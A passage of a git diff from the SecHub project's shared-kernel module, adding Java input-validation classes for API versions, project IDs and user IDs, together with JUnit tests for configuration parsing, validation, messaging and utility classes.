org.springframework.stereotype.Component; +import org.springframework.util.StringUtils; + +@Component +public class ApiVersionValidationImpl extends AbstractSimpleStringValidation implements ApiVersionValidation { + + public static final int API_MIN_LENGTH = 3; /* 1.0 */ + public static final int API_MAX_LENGTH = 8; /* 12345.78 */ + + private List acceptedVersions; + + public ApiVersionValidationImpl() { + this(new String[] {"1.0"}); + } + + ApiVersionValidationImpl(String [] acceptedAre) { + this.acceptedVersions = new ArrayList<>(); + for (String acceptedIs : acceptedAre) { + if (acceptedIs == null) { + continue; + } + acceptedVersions.add(acceptedIs); + } + } + + @Override + protected void setup(ValidationConfig config) { + config.minLength = API_MIN_LENGTH; + config.maxLength = API_MAX_LENGTH; + } + + @Override + protected void validate(ValidationContext context) { + validateNotNull(context); + if (context.isInValid()) { + return; + } + validateLength(context); + if (context.isInValid()) { + return; + } + validateSupportedVersion(context); + } + + + void validateSupportedVersion(ValidationContext context) { + String string = context.objectToValidate; + if (string == null) { + context.addError("There is no API version defined (null) so not valid, supported is:"+createSupportedApis()); + return; + } + for (String supported : acceptedVersions) { + if (string.equals(supported)) { + return; + } + } + context.addError("Given API "+string+" is not supported. Supported versions are:"+createSupportedApis()); + } + + private String createSupportedApis() { + return StringUtils.collectionToDelimitedString(acceptedVersions, ",", "",""); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidation.java new file mode 100644 index 0000000000..7a5e7b3097 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidation.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public interface ProjectIdValidation extends Validation{ + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImpl.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImpl.java new file mode 100644 index 0000000000..bdc77f5e4c --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ProjectIdValidationImpl.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import org.springframework.stereotype.Component; + +@Component +public class ProjectIdValidationImpl extends AbstractSimpleStringValidation implements ProjectIdValidation { + + public static final int PROJECTID_LENGTH_MIN = 2; + public static final int PROJECTID_LENGTH_MAX = 20; + + @Override + protected void setup(ValidationConfig config) { + config.minLength = PROJECTID_LENGTH_MIN; + config.maxLength = PROJECTID_LENGTH_MAX; + } + + @Override + protected void validate(ValidationContext context) { + validateNotNull(context); + if (context.isInValid()) { + return; + } + validateNoUpperCaseCharacters(context); + validateSameLengthWhenTrimmed(context); + validateLength(context); + validateNotContainingCharackters(context, '.',',','!','?','\\',':',';','$','%','/'); + + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidation.java new file mode 100644 index 0000000000..6ba045f43f --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidation.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public interface UserIdValidation extends Validation{ + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImpl.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImpl.java new file mode 100644 index 0000000000..ff8b4bd6fe --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/UserIdValidationImpl.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import org.springframework.stereotype.Component; + +@Component +public class UserIdValidationImpl extends AbstractSimpleStringValidation implements UserIdValidation { + + public static final int USERNAME_LENGTH_MIN = 5; + public static final int USERNAME_LENGTH_MAX = 20; + + @Override + protected void setup(ValidationConfig config) { + config.minLength = USERNAME_LENGTH_MIN; + config.maxLength = USERNAME_LENGTH_MAX; + } + + @Override + protected void validate(ValidationContext context) { + validateNotNull(context); + if (context.isInValid()) { + return; + } + validateNoUpperCaseCharacters(context); + validateSameLengthWhenTrimmed(context); + validateLength(context); + + validateOnlyAlphabeticDigitOrAllowedParts(context, '-','_'); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/Validation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/Validation.java new file mode 100644 index 0000000000..d54376e21d --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/Validation.java @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public interface Validation { + + public ValidationResult validate(T target); +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationContext.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationContext.java new file mode 100644 index 0000000000..3de7270175 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationContext.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public class ValidationContext{ + + + ValidationResult result = new ValidationResult(); + T objectToValidate; + + ValidationContext(T target) { + this.objectToValidate=target; + } + + public void addError(String error) { + result.addError(error); + } + + public boolean isInValid() { + return ! result.valid; + } + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationResult.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationResult.java new file mode 100644 index 0000000000..3b0eb4914a --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ValidationResult.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +public class ValidationResult{ + protected boolean valid = true; + private List errors=new ArrayList<>(); + + public boolean isValid() { + return valid; + } + + public void addError(String error) { + errors.add(error); + valid=false; + } + + public List getErrors() { + return errors; + } + + public String getErrorDescription() { + StringBuilder sb = new StringBuilder(); + for (Iterator it= errors.iterator();it.hasNext();) { + String errorString = it.next(); + sb.append(errorString); + if (it.hasNext()) { + sb.append(", "); + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/RoleConstantsTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/RoleConstantsTest.java new file mode 100644 index 0000000000..f63b21d67f --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/RoleConstantsTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class RoleConstantsTest { + + @Test + public void isSuperAdminRole_works() { + assertTrue(RoleConstants.isSuperAdminRole("ROLE_SUPERADMIN")); + + assertFalse(RoleConstants.isSuperAdminRole("ROLE_USER")); + assertFalse(RoleConstants.isSuperAdminRole("")); + assertFalse(RoleConstants.isSuperAdminRole("X")); + } + + @Test + public void isUserRole_works() { + assertTrue(RoleConstants.isUserRole("ROLE_USER")); + + assertFalse(RoleConstants.isUserRole("ROLE_SUPERADMIN")); + assertFalse(RoleConstants.isUserRole("")); + assertFalse(RoleConstants.isUserRole("X")); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/SharedKernelTestFileSupport.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/SharedKernelTestFileSupport.java new file mode 100644 index 0000000000..4dd0c3d58d --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/SharedKernelTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class SharedKernelTestFileSupport extends TestFileSupport { + private static final SharedKernelTestFileSupport TESTFILE_SUPPORT = new SharedKernelTestFileSupport(); + + public static SharedKernelTestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + SharedKernelTestFileSupport() { + super("sechub-shared-kernel/src/test/resources"); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/cluster/PODTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/cluster/PODTest.java new file mode 100644 index 0000000000..fdb61892a1 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/cluster/PODTest.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.cluster; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class PODTest { + @Test + public void null_is_handled() { + /* execute */ + + POD pod = new POD(null,null); + /* test */ + assertEquals(null, pod.getName()); + assertEquals(null, pod.getNamespace()); + + assertEquals(pod.toString(),"POD:name=null,namespace=null"); + } + @Test + public void meta_data_is_removed() { + /* execute */ + + POD pod = new POD("sechub-server-86f75fbd7d-5xdb5 (v1:metadata.name)", "default (v1:metadata.namespace)"); + /* test */ + assertEquals("sechub-server-86f75fbd7d-5xdb5", pod.getName()); + assertEquals("default", pod.getNamespace()); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationTest.java new file mode 100644 index 0000000000..ebdaf3285f --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationTest.java @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.InetAddress; +import java.net.URI; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.sharedkernel.SharedKernelTestFileSupport; +import com.daimler.sechub.sharedkernel.util.JSONConverter; +import com.daimler.sechub.test.PojoTester; + +public class SecHubConfigurationTest { + + private SecHubConfiguration configurationToTest; + + @Before + public void before() { + configurationToTest = new SecHubConfiguration(); + } + + @Test + public void sechub_config0_json_file_from_json_has_no_webconfig_or_infraconfig_but_api_version_1() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config0.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertFalse("webscan config must NOT be present", result.getWebScan().isPresent()); + assertFalse("infracan config must NOT be present", result.getInfraScan().isPresent()); + assertEquals("1.0", result.getApiVersion()); + } + + @Test + public void sechub_config1_json_file_from_json_has_webconfig_with_url() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config1.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertTrue("webscan config must be present", result.getWebScan().isPresent()); + assertTrue(result.getWebScan().get().getUris().contains(new URI("https://fscan.intranet.example.org/"))); + } + + @Test + public void sechub_config2_json_file_from_json_has_infraconfig_with_url() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config2.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertTrue("infrascan config must be present", result.getInfraScan().isPresent()); + assertTrue(result.getInfraScan().get().getUris().contains(new URI("https://fscan.intranet.example.org/"))); + } + + @Test + public void sechub_config2_json_file_from_json_has_infraconfig_with_ips() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config2.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertTrue("infrascan config must be present", result.getInfraScan().isPresent()); + List ips = result.getInfraScan().get().getIps(); + assertTrue(ips.contains(InetAddress.getByName("192.168.1.1"))); + assertTrue(ips.contains(InetAddress.getByName("58.112.44.32"))); + } + + @Test + public void sechub_config2_json_file_from_json_has_no_codescanconfig() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config2.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertFalse("codescan config must NOT be present", result.getCodeScan().isPresent()); + + } + + + @Test + public void sechub_config4_json_file_from_json_has_codescanconfig_with_folders() throws Exception { + /* prepare */ + String json = SharedKernelTestFileSupport.getTestfileSupport().loadTestFile("sechub_config4.json"); + + /* execute */ + SecHubConfiguration result = SecHubConfiguration.OBJECT.fromJSON(json); + + /* test */ + assertTrue("codescan config must be present", result.getCodeScan().isPresent()); + List ips = result.getCodeScan().get().getFileSystem().get().getFolders(); + assertTrue(ips.contains("src/main/java")); + assertTrue(ips.contains("src/main/resources")); + } + + + @Test + public void new_instance_returns_not_null_for_asJSON() throws Exception { + assertNotNull(configurationToTest.toJSON()); + } + + @Test + public void new_instance_returns_null_for_getApiVersion() { + assertNull(configurationToTest.getApiVersion()); + } + + @Test + public void uses_json_converter_when_toJSON_is_called() throws Exception { + /* prepare */ + JSONConverter mockedConverter = mock(JSONConverter.class); + + // - integrate mocked converter not possible otherwise + SecHubConfiguration specialConfigurationToTest = new SecHubConfiguration() { + @Override + public JSONConverter getConverter() { + return mockedConverter; + } + }; + when(mockedConverter.toJSON(specialConfigurationToTest)).thenReturn("mockedJSONResult"); + + /* execute */ + String result = specialConfigurationToTest.toJSON(); + + /* test */ + verify(mockedConverter).toJSON(specialConfigurationToTest); + assertEquals("mockedJSONResult", result); + } + + @Test + public void configuration_setter_getter_testing() throws Exception { + + PojoTester.testSetterAndGetter(new SecHubConfiguration()); + + } + + @Test + public void when_webscan_set_its_present() { + /* prepare */ + configurationToTest.setWebScan(mock(SecHubWebScanConfiguration.class)); + + /* test */ + assertTrue(configurationToTest.getWebScan().isPresent()); + } + + @Test + public void when_infracan_set_its_present() { + /* prepare */ + configurationToTest.setInfraScan(mock(SecHubInfrastructureScanConfiguration.class)); + + /* test */ + assertTrue(configurationToTest.getInfraScan().isPresent()); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidatorTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidatorTest.java new file mode 100644 index 0000000000..a91465a4df --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/configuration/SecHubConfigurationValidatorTest.java @@ -0,0 +1,224 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.configuration; + +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; +import org.mockito.verification.VerificationMode; +import org.springframework.validation.Errors; + +import com.daimler.sechub.sharedkernel.validation.ApiVersionValidation; +import com.daimler.sechub.sharedkernel.validation.ValidationResult; + +public class SecHubConfigurationValidatorTest { + + private SecHubConfigurationValidator validatorToTest; + private Errors errors; + private SecHubConfiguration target; + private ApiVersionValidation apiValidation; + private ValidationResult okResult; + private ValidationResult failedResult; + + @Before + public void before() throws Exception { + okResult= mock(ValidationResult.class); + when(okResult.isValid()).thenReturn(true); + + failedResult= mock(ValidationResult.class); + when(failedResult.isValid()).thenReturn(false); + + apiValidation=mock(ApiVersionValidation.class); + when(apiValidation.validate(any())).thenReturn(okResult); + validatorToTest = new SecHubConfigurationValidator(); + validatorToTest.apiValidation=apiValidation; + errors = mock(Errors.class); + target = mock(SecHubConfiguration.class); + + /* prepare defaults */ + when(target.getApiVersion()).thenReturn("1.0"); + when(target.getWebScan()).thenReturn(Optional.empty()); + } + + @Test + public void illegal_api_is_rejected() throws Exception { + + /* prepare */ + when(target.getApiVersion()).thenReturn("illegal"); + when(apiValidation.validate(eq("illegal"))).thenReturn(failedResult); + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + verify(errors).rejectValue(eq(SecHubConfiguration.PROPERTY_API_VERSION),eq("api.error.unsupported.version"),any()); + } + + @Test + public void api_1_0_is_NOT_rejected() throws Exception { + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + verify(errors,never()).rejectValue(any(),any(),any()); + } + + + @Test + public void webconfig_with_uri_as_http_is_NOT_rejected() throws Exception { + + /* prepare */ + SecHubWebScanConfiguration webscan = mock(SecHubWebScanConfiguration.class); + List list = new ArrayList<>(); + list.add(URI.create("http://www.example.com")); + when(webscan.getUris()).thenReturn(list); + when(target.getWebScan()).thenReturn(Optional.of(webscan)); + + /* execute */ + validatorToTest.validate(target, errors); + + assertNoIllegalSchemaError(); + } + + @Test + public void webconfig_with_uri_as_https_is_NOT_rejected() throws Exception { + + /* prepare */ + SecHubWebScanConfiguration webscan = mock(SecHubWebScanConfiguration.class); + List list = new ArrayList<>(); + list.add(URI.create("https://www.example.com")); + when(webscan.getUris()).thenReturn(list); + when(target.getWebScan()).thenReturn(Optional.of(webscan)); + + /* execute */ + validatorToTest.validate(target, errors); + + assertNoIllegalSchemaError(); + + } + + @Test + public void webconfig_with_uri_as_ftp_is_rejected() throws Exception { + + /* prepare */ + SecHubWebScanConfiguration webscan = mock(SecHubWebScanConfiguration.class); + List list = new ArrayList<>(); + list.add(URI.create("ftp://www.example.com")); + when(webscan.getUris()).thenReturn(list); + when(target.getWebScan()).thenReturn(Optional.of(webscan)); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertIllegalSchemaError(); + + } + + + @Test + public void infraconfig_with_uri_as_ftp_is_NOT_rejected() throws Exception { + + /* prepare */ + SecHubInfrastructureScanConfiguration webscan = mock(SecHubInfrastructureScanConfiguration.class); + List list = new ArrayList<>(); + list.add(URI.create("http://www.example.com")); + when(webscan.getUris()).thenReturn(list); + when(target.getInfraScan()).thenReturn(Optional.of(webscan)); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertNoIllegalSchemaError(); + } + + + @Test + public void when_configuration_has_no_scan_config_at__missingScanDefinitionError_occurs() { + /* prepare */ + when(target.getCodeScan()).thenReturn(Optional.empty()); + when(target.getInfraScan()).thenReturn(Optional.empty()); + when(target.getWebScan()).thenReturn(Optional.empty()); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertMissingScanDefinitionError(); + } + + @Test + public void when_configuration_has_infra_scan_config_at__missingScanDefinitionError_occurs_NOT() { + /* prepare */ + when(target.getCodeScan()).thenReturn(Optional.empty()); + when(target.getInfraScan()).thenReturn(Optional.of(Mockito.mock(SecHubInfrastructureScanConfiguration.class))); + when(target.getWebScan()).thenReturn(Optional.empty()); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertNoMissingScanDefinitionError(); + } + + @Test + public void when_configuration_has_code_scan_config_at__missingScanDefinitionError_occurs_NOT() { + /* prepare */ + when(target.getCodeScan()).thenReturn(Optional.of(Mockito.mock(SecHubCodeScanConfiguration.class))); + when(target.getInfraScan()).thenReturn(Optional.empty()); + when(target.getWebScan()).thenReturn(Optional.empty()); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertNoMissingScanDefinitionError(); + } + + @Test + public void when_configuration_has_web_scan_config_at__missingScanDefinitionError_occurs_NOT() { + /* prepare */ + when(target.getWebScan()).thenReturn(Optional.of(Mockito.mock(SecHubWebScanConfiguration.class))); + when(target.getInfraScan()).thenReturn(Optional.empty()); + when(target.getCodeScan()).thenReturn(Optional.empty()); + + /* execute */ + validatorToTest.validate(target, errors); + + /* test */ + assertNoMissingScanDefinitionError(); + } + + private void assertMissingScanDefinitionError() { + _assertMissingScanDefinitionError(Mockito.times(1)); + } + + private void assertNoMissingScanDefinitionError() { + _assertMissingScanDefinitionError(Mockito.never()); + } + + private void _assertMissingScanDefinitionError(VerificationMode mode) { + verify(errors,mode).reject(eq("api.error.config.noscan.defined"), any()); + } + + private void assertIllegalSchemaError() { + _assertIllegalSchemaError(Mockito.times(1)); + } + private void assertNoIllegalSchemaError() { + _assertIllegalSchemaError(Mockito.never()); + } + + private void _assertIllegalSchemaError(VerificationMode mode) { + verify(errors,mode).reject(eq("api.error.webscan.uri.illegalschema"), any(), any()); + } + + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionExceptionTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionExceptionTest.java new file mode 100644 index 0000000000..5c07cf5534 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/execution/SecHubExecutionExceptionTest.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.execution; + +import static com.daimler.sechub.sharedkernel.execution.SecHubExecutionException.*; +import static org.hamcrest.Matchers.*; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +public class SecHubExecutionExceptionTest { + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Test + public void throwAsSecHubExecutionException_throws_adapter_exception_when_exception_is_runtime_exception() + throws Exception { + /* prepare */ + RuntimeException cause = new RuntimeException(); + + /* test */ + expected.expect(SecHubExecutionException.class); + expected.expectMessage("message1"); + expected.expectCause(equalTo(cause)); + + /* execute */ + throwAsSecHubExecutionException("message1", cause); + } + + @Test + public void throwAsSecHubExecutionException_rethrows_adapter_exception_when_exception_is_adapter_exception() + throws Exception { + /* prepare */ + SecHubExecutionException cause = new SecHubExecutionException("originMessage"); + + /* test */ + expected.expect(SecHubExecutionException.class); + expected.expectMessage("originMessage"); + + /* execute */ + throwAsSecHubExecutionException("otherMessage", cause); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupportTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupportTest.java new file mode 100644 index 0000000000..ddf40663bd --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/jpa/TypedQuerySupportTest.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.jpa; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.Optional; + +import javax.persistence.NoResultException; +import javax.persistence.Query; + +import org.junit.Before; +import org.junit.Test; + +public class TypedQuerySupportTest { + private TypedQuerySupport supportToTest; + + @Before + public void before() { + supportToTest = new TypedQuerySupport<>(String.class); + } + + @Test + public void support_returns_an_optional_when_no_result_exception_is_thrown() { + /* prepare */ + Query query = mock(Query.class); + when(query.getSingleResult()).thenThrow(new NoResultException("does not exist")); + + /* execute */ + Optional optional = supportToTest.getSingleResultAsOptional(query); + /* test */ + assertNotNull(optional); + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageServiceTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageServiceTest.java new file mode 100644 index 0000000000..e668e193f1 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainMessageServiceTest.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Test; + +public class DomainMessageServiceTest { + + @Test + public void test() { + List injectedAsynchronousHandlers = new ArrayList<>(); + List injectedSynchronousHandlers = new ArrayList<>(); + + DomainMessageService service = new DomainMessageService(injectedSynchronousHandlers, injectedAsynchronousHandlers ); + DomainMessage request = new DomainMessage(MessageID.USER_REMOVED_FROM_PROJECT); + service.sendAsynchron(request); + + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainResponseTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainResponseTest.java new file mode 100644 index 0000000000..f5edf0e222 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/messaging/DomainResponseTest.java @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.messaging; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; + +public class DomainResponseTest { + + + private MessageDataProvider mockedProvider; + private MessageDataKey mockedDataKey; + + @SuppressWarnings("unchecked") + @Before + public void before() throws Exception { + mockedProvider = Mockito.mock(MessageDataProvider.class); + mockedDataKey=Mockito.mock(MessageDataKey.class); + when(mockedDataKey.getId()).thenReturn("id"); + when(mockedDataKey.getProvider()).thenReturn(mockedProvider); + } + + @Test + public void response_with_an_exection_is_marked_as_failed() { + assertTrue(new DomainMessageSynchronousResult(null, new RuntimeException()).hasFailed()); + } + + @Test + public void response_without_an_exection_is_NOT_marked_as_failed() { + assertFalse(new DomainMessageSynchronousResult(null, null).hasFailed()); + } + + @Test + public void response_without_a_parameter_map_returns_value_from_provider() { + when(mockedProvider.get(any())).thenReturn("fromProviderAsString"); + assertEquals("fromProviderAsString", new DomainMessageSynchronousResult(null, null).get(mockedDataKey)); + } + + @Test + public void response_without_a_parameter_map_returns_value_from_provider_even_null() { + when(mockedProvider.get(any())).thenReturn(null); + assertEquals(null, new DomainMessageSynchronousResult(null, null).get(mockedDataKey)); + } + + @Test + public void response_contains_data_transfered_from_provider_to_string_and_back_again() { + when(mockedProvider.getString("v1")).thenReturn("xv1"); + when(mockedProvider.get("xv1")).thenReturn("version-from-provider1"); + when(mockedProvider.getString("v2")).thenReturn("xv2"); + when(mockedProvider.get("xv2")).thenReturn("version-from-provider2"); + /* prepare */ + + /* execute + test */ + DomainMessageSynchronousResult domainResponse = new DomainMessageSynchronousResult(null); + domainResponse.set(mockedDataKey, "v1"); + assertEquals("version-from-provider1", domainResponse.get(mockedDataKey)); + + domainResponse.set(mockedDataKey, "v2"); + assertEquals("version-from-provider2", domainResponse.get(mockedDataKey)); + + domainResponse.set(mockedDataKey, null); + assertEquals(null, domainResponse.get(mockedDataKey)); + } + + @Test + public void a_failed_response_with_added_keys_contains_still_data_from_provider() { + /* prepare */ + when(mockedProvider.get("xv1")).thenReturn("v1.0"); + when(mockedProvider.getString("v1")).thenReturn("xv1"); + + DomainMessageSynchronousResult response = new DomainMessageSynchronousResult(null, new RuntimeException()); + response.set(mockedDataKey, "v1"); + + /* execute + test */ + assertEquals("v1.0", response.get(mockedDataKey)); + assertTrue(response.hasFailed()); + ; + } + +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/type/TrafficLightTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/type/TrafficLightTest.java new file mode 100644 index 0000000000..27d2a9ed56 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/type/TrafficLightTest.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.type; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class TrafficLightTest { + + @Test + public void null_supported() { + assertNull(TrafficLight.fromString(null)); + } + + @Test + public void values_are_supported() { + for (TrafficLight light : TrafficLight.values()) { + assertEquals(light, TrafficLight.fromString(light.name())); + } + } + + @Test + public void unknown_values_returns_null() { + assertNull(TrafficLight.fromString("unknown-illegal")); + } +} diff --git a/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/AssertTest.java b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/AssertTest.java new file mode 100644 index 0000000000..cc2a6d1ba1 --- /dev/null +++ b/sechub-shared-kernel/src/test/java/com/daimler/sechub/sharedkernel/util/AssertTest.java @@ -0,0 +1,90 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +public class AssertTest { + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Test + public void not_null_with_null_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + Assert.notNull(null, "message"); + } + + @Test + public void not_null_with_null_even_when_message_is_null_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + Assert.notNull(null, null); + } + + @Test + public void not_null_with_not_null_throws_no_exception() { + + /* execute */ + Assert.notNull("not null...", "message"); + } + + @Test + public void not_null_with_not_null_null_message_throws_no_exception() { + + /* execute */ + Assert.notNull("not null...", null); + } + + @Test + public void not_empty__with_empty_string_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + Assert.notEmpty("", "message"); + } + + public void not_empty__with_null_string_throws_illegal_argument() { + /* prepare test */ + expected.expect(IllegalArgumentException.class); + + /* execute */ + 